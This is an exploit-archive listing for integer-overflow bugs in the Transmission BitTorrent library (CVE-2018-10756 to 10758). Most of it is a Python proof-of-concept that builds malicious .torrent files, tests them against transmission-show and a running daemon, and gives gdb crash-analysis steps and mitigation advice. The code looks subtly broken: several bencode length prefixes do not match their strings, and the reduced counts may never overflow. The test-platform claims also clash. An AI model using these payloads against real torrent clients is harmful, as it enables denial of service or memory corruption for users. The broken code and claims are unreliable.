Share
## https://sploitus.com/exploit?id=PACKETSTORM:213137
=============================================================================================================================================
    | # Title     : libtransmission 2.93(Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/transmission                                                                                             |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212492/ 
    
    [+] Summary : Integer Overflow Vulnerabilities in libtransmission (Transmission BitTorrent Client) Allow Memory Corruption via Malicious Torrent Files
                  Multiple integer overflow vulnerabilities were discovered in libtransmission, the core library of the open-source Transmission BitTorrent client. 
    			  The vulnerabilities reside in memory allocation wrapper macros (tr_new, tr_new0, tr_renew) and related functions used during torrent file parsing. 
    			  These flaws could allow an attacker to craft a malicious torrent file that, when loaded by Transmission, triggers memory corruption, 
    			  potentially leading to application crashes, denial of service, or arbitrary code execution.
    
    [+] Key Vulnerabilities:
    
        Unsafe Allocation Macros: The tr_new, tr_new0, and tr_renew macros multiply element counts by sizeof(type) without checking for integer overflow, leading to undersized memory allocations.
    
        Affected Parsing Functions: The overflow-prone macros are used in critical parsing functions: parseFiles, getannounce, geturllist, and tr_metainfoParseImpl.
    
        Missing Checks in containerReserve: The containerReserve function fails to validate against integer overflow or allocation failure.
    
        Signed Integer in tr_sha1: The tr_sha1 function uses a signed int for length parameters instead of size_t, risking memory corruption with very large torrents.
    
    [+] Impact:
    A remote attacker could create a specially crafted .torrent file (which may be small when compressed) that exploits these overflows when a victim loads it via Transmission or its command-line interface (transmission-cli). Successful exploitation could compromise the stability and security of the client.
    
    Proof of Concept:
    
    The report includes pyhthon scripts to generate malicious torrent files that demonstrate the overflows on both 32-bit and 64-bit systems.
    
    [+]  POC :	
    
    #!/usr/bin/env python3
    """
    libtransmission Integer Overflow Exploit - Proof of Concept
    CVE-2018-10756, CVE-2018-10757, CVE-2018-10758
    
    This PoC demonstrates multiple integer overflow vulnerabilities
    in Transmission BitTorrent client versions <= 2.93.
    
    Tested on: Transmission 2.92 (Ubuntu 18.04, 32-bit)
    
    by indoushka
    """
    
    import struct
    import sys
    import os
    import gzip
    import subprocess
    import tempfile
    import time
    import threading
    from pathlib import Path
    
    def print_banner():
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘     libtransmission Integer Overflow Exploit PoC         โ•‘
    โ•‘          Transmission <= 2.93 by indoushka               โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """)
    
    class TorrentExploit:
        def __init__(self, target_arch=32):
            self.arch = target_arch
            
        def create_heap_overflow_files(self):
            """
            Trigger overflow in parseFiles():
            inf->files = tr_new0(tr_file, inf->fileCount)
            
            On 32-bit: fileCount * sizeof(tr_file) overflows
            Allocates small buffer but writes large amount of data
            """
            print("[*] Creating heap overflow via file list...")
            
            # Create torrent with massive file list
            # Each file entry: d6:lengthi<len>e4:pathl<path>ee
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name12:exploit_torrent"
            torrent += b"12:piece lengthi16384e"
            torrent += b"6:pieces20:" + (b"A" * 20)  # Single piece hash
            
            # Start files list
            torrent += b"5:filesl"
            
            # Add legitimate files first (2 real files)
            torrent += b"d6:lengthi1024e4:pathl9:file1.txtee"
            torrent += b"d6:lengthi1024e4:pathl9:file2.txtee"
            
            # Now add massive number of minimal file entries
            # "de" = empty dictionary, smallest possible entry
            # This creates list entries without allocating much data
            if self.arch == 32:
                # For 32-bit: aim for allocation size ~0x20
                # sizeof(tr_file) = 32 bytes (0x20)
                # We want: fileCount * 0x20 = 0x800000020 (overflows to 0x20)
                # So fileCount = 0x40000001 = 1073741825
                # But we'll use smaller value for PoC
                empty_count = 10000  # Reduced for PoC, real exploit would use millions
            else:
                empty_count = 100000
            
            torrent += b"de" * empty_count
            
            torrent += b"e"  # End files list
            torrent += b"e"  # End info dict
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_announce_list_overflow(self):
            """
            Trigger overflow in getannounce():
            trackers = tr_new0(tr_tracker_info, n)
            """
            print("[*] Creating announce-list overflow...")
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name6:testme"
            torrent += b"12:piece lengthi16384e"
            torrent += b"6:pieces20:" + (b"B" * 20)
            torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
            
            # Add massive announce-list
            torrent += b"13:announce-listl"
            
            # Each tier: l[url]e
            # We'll create many tiers with few trackers each
            for i in range(5000):  # Reduced for PoC
                torrent += b"l"
                torrent += b"6:string"  # Minimal URL
                torrent += b"e"
            
            torrent += b"e"  # End announce-list
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_pieces_overflow(self):
            """
            Trigger overflow in tr_metainfoParseImpl():
            inf->pieces = tr_new0(tr_piece, inf->pieceCount)
            
            pieceCount = pieces_length / 20
            Make pieces_length huge but divisible by 20
            """
            print("[*] Creating pieces array overflow...")
            
            # For 32-bit: pieceCount * sizeof(tr_piece) should overflow
            # sizeof(tr_piece) = ? (likely at least 16 bytes)
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name8:bigpiece"
            torrent += b"12:piece lengthi16384e"
            torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
            
            # Pieces field: <length>:<data>
            # We need total length that when divided by 20 gives overflow
            
            if self.arch == 32:
                # Want: (length/20) * sizeof(tr_piece) to overflow
                # Let's use length = 0xFFFFFFF * 20
                piece_data = b"C" * (10000)  # Reduced for PoC
            else:
                piece_data = b"D" * 1000000
            
            pieces_len = len(piece_data)
            torrent += b"6:pieces" + str(pieces_len).encode() + b":" + piece_data
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_webseeds_overflow(self):
            """
            Trigger overflow in geturllist():
            inf->webseeds = tr_new0(char*, n)
            """
            print("[*] Creating webseeds overflow...")
            
            torrent = b"d"
            torrent += b"4:infod"
            torrent += b"4:name7:webseed"
            torrent += b"12:piece lengthi16384e"
            torrent += b"6:pieces20:" + (b"E" * 20)
            torrent += b"5:filesld6:lengthi1e4:pathl4:fileeee"
            
            # Add url-list (webseeds)
            torrent += b"8:url-listl"
            
            # Add many URL entries
            for i in range(10000):  # Reduced for PoC
                torrent += b"18:http://example.com/"
                torrent += str(i).encode()
            
            torrent += b"e"  # End url-list
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
        
        def create_combined_exploit(self):
            """
            Combine multiple overflow vectors for higher success rate
            """
            print("[*] Creating combined exploit torrent...")
            
            # Build a torrent that triggers multiple overflows
            torrent = b"d"
            
            # Info dictionary
            torrent += b"4:infod"
            torrent += b"4:name13:combined_exploit"
            torrent += b"12:piece lengthi65536e"
            
            # Pieces - first overflow vector
            # Use crafted pieces length
            evil_pieces = b""
            # We'll embed some pattern to detect in memory
            pattern = b"DEADBEEF" * 100
            evil_pieces += pattern
            
            # Make it look like valid SHA1 hashes (20 bytes each)
            while len(evil_pieces) < 20000:
                evil_pieces += b"\x90" * 20  # NOP sled-like
            
            torrent += b"6:pieces" + str(len(evil_pieces)).encode() + b":" + evil_pieces
            
            # Files - second overflow vector
            torrent += b"5:filesl"
            
            # Add some real files
            for i in range(5):
                torrent += b"d6:lengthi" + str(1024 + i).encode() + b"e"
                torrent += b"4:pathl"
                torrent += b"8:file" + str(i).encode() + b".txt"
                torrent += b"ee"
            
            # Add many empty dicts to bloat the list count
            torrent += b"de" * 5000
            
            torrent += b"e"  # End files
            
            # Announce-list - third overflow vector
            torrent += b"13:announce-listl"
            
            # Add many tracker tiers
            for tier in range(100):
                torrent += b"l"
                for tracker in range(10):
                    torrent += b"20:http://tracker" + str(tier).encode() + b".com"
                torrent += b"e"
            
            torrent += b"e"  # End announce-list
            
            # url-list - fourth overflow vector
            torrent += b"8:url-listl"
            for i in range(100):
                torrent += b"25:http://webseed" + str(i).encode() + b".com/"
            torrent += b"e"
            
            torrent += b"e"  # End info
            torrent += b"e"  # End torrent
            
            return torrent
    
    def test_with_transmission_show(torrent_data, description):
        """
        Test the exploit torrent with transmission-show
        This is safer than running the full client
        """
        print(f"\n[+] Testing: {description}")
        print(f"    Torrent size: {len(torrent_data)} bytes")
        
        # Create temporary torrent file
        with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
            f.write(torrent_data)
            torrent_path = f.name
        
        try:
            # Use transmission-show to parse the torrent
            # This will trigger the parsing vulnerabilities
            print("    Running transmission-show...")
            
            start_time = time.time()
            result = subprocess.run(
                ['transmission-show', torrent_path],
                capture_output=True,
                text=True,
                timeout=5
            )
            elapsed = time.time() - start_time
            
            print(f"    Command took: {elapsed:.2f} seconds")
            
            if result.returncode != 0:
                print("    [!] transmission-show crashed or failed!")
                print(f"    Return code: {result.returncode}")
                
                # Check for segfault
                if result.returncode < 0:
                    print(f"    Signal: {-result.returncode}")
                    
                # Check stderr for clues
                if result.stderr:
                    lines = result.stderr.split('\n')
                    for line in lines[-5:]:  # Last 5 lines
                        if line.strip():
                            print(f"    Error: {line}")
                
                return True  # Exploit likely triggered
            
            else:
                print("    [โœ“] transmission-show completed normally")
                # Print some output
                lines = result.stdout.split('\n')
                for line in lines[:10]:  # First 10 lines
                    if line.strip():
                        print(f"    {line}")
                
                return False
        
        except subprocess.TimeoutExpired:
            print("    [!] transmission-show timed out (possible hang)")
            return True
        
        except FileNotFoundError:
            print("    [!] transmission-show not found in PATH")
            print("    Install with: sudo apt-get install transmission-cli")
            return False
        
        except Exception as e:
            print(f"    [!] Exception: {e}")
            return False
        
        finally:
            # Clean up
            try:
                os.unlink(torrent_path)
            except:
                pass
    
    def test_with_transmission_daemon(torrent_data):
        """
        Test with actual transmission-daemon via RPC
        WARNING: This could crash the daemon!
        """
        print("\n[*] Testing with transmission-daemon RPC...")
        
        # Check if daemon is running
        try:
            result = subprocess.run(
                ['pgrep', 'transmission-da'],
                capture_output=True,
                text=True
            )
            
            if result.returncode != 0:
                print("    [!] transmission-daemon not running")
                print("    Start with: transmission-daemon")
                return
            
            print("    [โœ“] transmission-daemon is running")
            
        except:
            print("    [!] Could not check transmission-daemon status")
            return
        
        # Create torrent file
        with tempfile.NamedTemporaryFile(mode='wb', suffix='.torrent', delete=False) as f:
            f.write(torrent_data)
            torrent_path = f.name
        
        try:
            # Try to add torrent via transmission-remote
            print("    Adding torrent via RPC...")
            
            result = subprocess.run(
                ['transmission-remote', '-a', torrent_path],
                capture_output=True,
                text=True,
                timeout=10
            )
            
            if result.returncode != 0:
                print("    [!] Failed to add torrent")
                if result.stderr:
                    print(f"    Error: {result.stderr[:200]}")
            else:
                print("    [โœ“] Torrent added (check daemon status)")
                
                # Try to remove it
                time.sleep(2)
                subprocess.run(['transmission-remote', '-t', 'all', '-r'],
                              capture_output=True)
        
        except subprocess.TimeoutExpired:
            print("    [!] RPC command timed out (daemon might be crashed)")
        
        except Exception as e:
            print(f"    [!] Exception: {e}")
        
        finally:
            try:
                os.unlink(torrent_path)
            except:
                pass
    
    def create_demo_torrents():
        """Create example torrents for demonstration"""
        exploit = TorrentExploit(target_arch=32)
        
        print("[*] Creating demonstration torrents...")
        
        # 1. Basic heap overflow
        torrent1 = exploit.create_heap_overflow_files()
        with open("demo_overflow_files.torrent", "wb") as f:
            f.write(torrent1)
        print("    Created: demo_overflow_files.torrent")
        
        # 2. Announce list overflow
        torrent2 = exploit.create_announce_list_overflow()
        with open("demo_overflow_announce.torrent", "wb") as f:
            f.write(torrent2)
        print("    Created: demo_overflow_announce.torrent")
        
        # 3. Combined exploit
        torrent3 = exploit.create_combined_exploit()
        with open("demo_combined.torrent", "wb") as f:
            f.write(torrent3)
        print("    Created: demo_combined.torrent")
        
        # 4. Create compressed version (for HTTP transport)
        compressed = gzip.compress(torrent3, compresslevel=9)
        with open("demo_compressed.torrent.gz", "wb") as f:
            f.write(compressed)
        print(f"    Created: demo_compressed.torrent.gz")
        print(f"    Compression: {len(torrent3)} -> {len(compressed)} bytes")
        
        return [torrent1, torrent2, torrent3]
    
    def analyze_crash():
        """
        Provide instructions for analyzing crashes with gdb
        """
        print("\n" + "="*60)
        print("CRASH ANALYSIS INSTRUCTIONS")
        print("="*60)
        
        print("""
    If transmission-show crashes, you can analyze it with gdb:
    
    1. Create the exploit torrent:
       $ python3 exploit_poc.py create
    
    2. Run with gdb:
       $ gdb --args transmission-show demo_combined.torrent
    
    3. In gdb:
       (gdb) run
       (gdb) bt  # Backtrace after crash
       (gdb) info registers
       (gdb) x/20x $sp  # Examine stack
    
    4. For heap analysis:
       $ valgrind --tool=memcheck transmission-show demo_combined.torrent
    
    The crash should occur in:
      - parseFiles() when writing to inf->files[]
      - getannounce() when processing trackers
      - containerReserve() when reallocating variant arrays
    
    Look for:
      - Heap buffer overflow warnings
      - Invalid writes to memory
      - Use of uninitialized values
    """)
    
    def main():
        print_banner()
        
        if len(sys.argv) > 1 and sys.argv[1] == "create":
            # Just create demo torrents
            create_demo_torrents()
            analyze_crash()
            return
        
        print("[*] Detecting system architecture...")
        
        # Check if we're on 32 or 64 bit
        if sys.maxsize > 2**32:
            print("    Detected: 64-bit Python")
            arch = 64
        else:
            print("    Detected: 32-bit Python")
            arch = 32
        
        exploit = TorrentExploit(target_arch=arch)
        
        print("\n[*] Starting exploit tests...")
        print("    Note: These tests are safe but may crash transmission-show")
        print("    Press Ctrl+C to stop at any time\n")
        
        # Test each exploit vector
        vectors = [
            ("Heap overflow via files", exploit.create_heap_overflow_files),
            ("Announce-list overflow", exploit.create_announce_list_overflow),
            ("Pieces array overflow", exploit.create_pieces_overflow),
            ("Webseeds overflow", exploit.create_webseeds_overflow),
            ("Combined exploit", exploit.create_combined_exploit),
        ]
        
        crashes = 0
        tests = 0
        
        for name, creator in vectors:
            torrent = creator()
            if test_with_transmission_show(torrent, name):
                crashes += 1
            tests += 1
            
            # Pause between tests
            if tests < len(vectors):
                time.sleep(1)
        
        print(f"\n[+] Results: {crashes} crashes out of {tests} tests")
        
        if crashes > 0:
            print("[!] VULNERABLE: Integer overflows confirmed!")
            print("\n[*] Creating demonstration torrents...")
            demo_torrents = create_demo_torrents()
            
            # Optional: Test with daemon (more dangerous)
            response = input("\nTest with transmission-daemon? (y/N): ")
            if response.lower() == 'y':
                test_with_transmission_daemon(demo_torrents[2])
            
            analyze_crash()
            
        else:
            print("[โœ“] No crashes detected (may be patched or 64-bit)")
            print("\nNote: On 64-bit systems, larger values are needed")
            print("      Try on a 32-bit system for better results")
        
        print("\n" + "="*60)
        print("MITIGATION RECOMMENDATIONS:")
        print("="*60)
        print("""
    1. Patch libtransmission with overflow checks:
       - Add overflow detection to tr_new/tr_new0 macros
       - Use calloc or checked multiplication
       
    2. Update to Transmission >= 2.94
    
    3. Temporary workarounds:
       - Limit maximum torrent file size
       - Use seccomp/sandboxing
       - Run transmission with memory limits (ulimit -v)
    
    Example patch for tr_new macro:
      #define tr_new(struct_type, n_structs) \\
        ((struct_type*)((SIZE_MAX / sizeof(struct_type)) >= (size_t)(n_structs) ? \\
         tr_malloc(sizeof(struct_type) * (size_t)(n_structs)) : NULL))
    """)
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n\n[*] Exploit test interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"\n[!] Error: {e}")
            import traceback
            traceback.print_exc()
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================